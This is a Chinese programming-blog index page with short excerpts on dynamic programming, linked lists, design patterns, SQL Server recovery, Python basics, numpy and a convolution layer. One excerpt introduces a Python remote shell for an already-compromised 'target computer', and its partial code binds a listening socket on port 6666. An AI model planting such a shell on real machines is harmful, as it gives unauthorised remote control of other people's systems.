最长子序列可以说是刚接触动态规划的人经常遇见也不得不解决的问题,最常见的有两种,一种是最长公共子序列(LCS),还有一个是最长上升子序列(LIS)。今天我就总结下这两个的做法。一:最长公共子序列(LCS)题目描述:给你两个数组,可以是数字的,也可以是字符串,我们假设是数字的!举个例子:X=1,5,6,4,1,3,7Y=1,1,6,8,3,4,7求一个新的数组S,该数组中的每个数均是X和Y数组中的公共数,并满足原数组中数字的前后关系,这样的数组有很多个,比如
系统 2019-08-12 01:54:08 2326
这题一开始想新建一个list,结果MLE了,后来想了想不用新建,insertion的概念理解好就行,具体编程部分不难1/**2*Definitionforsingly-linkedlist.3*structListNode{4*intval;5*ListNode*next;6*ListNode(intx):val(x),next(NULL){}7*};8*/9classSolution{10public:11ListNode*insertionSortLi
系统 2019-08-12 01:51:28 2326
解释器模式:给定一个语言,定义它的文法的一种表示,并定义一个解释器,这个解释器使用该表示来解释语言中的句子。如果一种特定类型的问题发生的频率够高,那么可能就值得将该问题的各个实例表述为一个简单语言中的句子。这样就可以构建一个解释器,该解释器通过解释这些句子来解决该问题。------正则表达式大话设计模式--解释器模式
系统 2019-08-12 01:33:22 2326
原文:附加没有日志文件的数据库方法今天客户那边执行SQL报错,经查看是客户服务器数据库磁盘已被全部用完,日志文件达到500GB的程度,后来由于我的错误操作导致日志文件(.ldf)被删除,后来附加.mdf文件老是说没有日志文件附加不成功,后来经过一番折腾终于解决了,下面分享一下!阅读目录操作步骤回到顶部操作步骤1.新建同名的数据库文件2.暂停SQLSetver服务3.将原先的mdf文件,覆盖新建的数据库,删除新数据库的ldf文件4.重新启动SQLSetver
系统 2019-08-12 01:33:15 2326
列表:list=[val1,val2]1.列表中的每一个元素都是可变的,有序的,可以被查看索引的。可变意味着可以对每个元素进行增删改查的操作,列表中的元素可以是Python中的任何对象(1)创建列表的方法:一.是用方括号[]直接赋值,赋一组以逗号隔开的值;newlist=[1,2,3]print(newlist)#[1,2,3]print(type(newlist))#查看类型为:二.是调用list函数进行定义。tup=('q','w','e')print
系统 2019-09-27 17:56:59 2325
有的时候我们在获取到目标电脑时候如果对方电脑又python编译环境时可以利用python反弹shell主要用到pythonos库和sokect库这里的服务端在目标机上运行fromsocketimport*fromosimport*s=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议s.bind(('',6666))#补丁端口s.listen(1)#开始监听一个队列whileTrue:sock,addr=s.accept()#返
系统 2019-09-27 17:56:43 2325
一.Python的类和实例在面向对象中,最重要的概念就是类(class)和实例(instance),类是抽象的模板,而实例是根据类创建出来的一个个具体的“对象”。就好比,学生是个较为抽象的概念,同时拥有很多属性,可以用一个Student类来描述,类中可定义学生的分数、身高等属性,但是没有具体的数值。而实例是类创建的一个个具体的对象,每一个对象都从类中继承有相同的方法,但是属性值可能不同,如创建一个实例叫hansry的学生,其分数为93,身高为176,则这个
系统 2019-09-27 17:55:48 2325
译序如果说优雅也有缺点的话,那就是你需要艰巨的工作才能得到它,需要良好的教育才能欣赏它。——EdsgerWybeDijkstra在Python社区文化的浇灌下,演化出了一种独特的代码风格,去指导如何正确地使用Python,这就是常说的pythonic。一般说地道(idiomatic)的python代码,就是指这份代码很pythonic。Python的语法和标准库设计,处处契合着pythonic的思想。而且Python社区十分注重编码风格一的一致性,他们极力
系统 2019-09-27 17:55:37 2325
这个函数的功能是返回给定axis上的累计和函数的原型如下:详见docnumpy.cumsum(a,axis=None,dtype=None,out=None)Returnthecumulativesumoftheelementsalongagivenaxis.官方的文档是没有详细解释,本人做了测试自己把理解的写下。1.对于一维输入a(可以是list,可以是array,假设a=[1,2,3,4,5,6,7],就是当前列之前的和加到当前列上,如下:>>>imp
系统 2019-09-27 17:54:38 2325
话不多说,代码说话:importnumpyasnpimportmathclassConv2D(object):def__init__(self,shape,output_channels,ksize=3,stride=1,method='VALID'):self.input_shape=shapeself.output_channels=output_channelsself.input_channels=shape[-1]self.batchsize=s
系统 2019-09-27 17:54:04 2325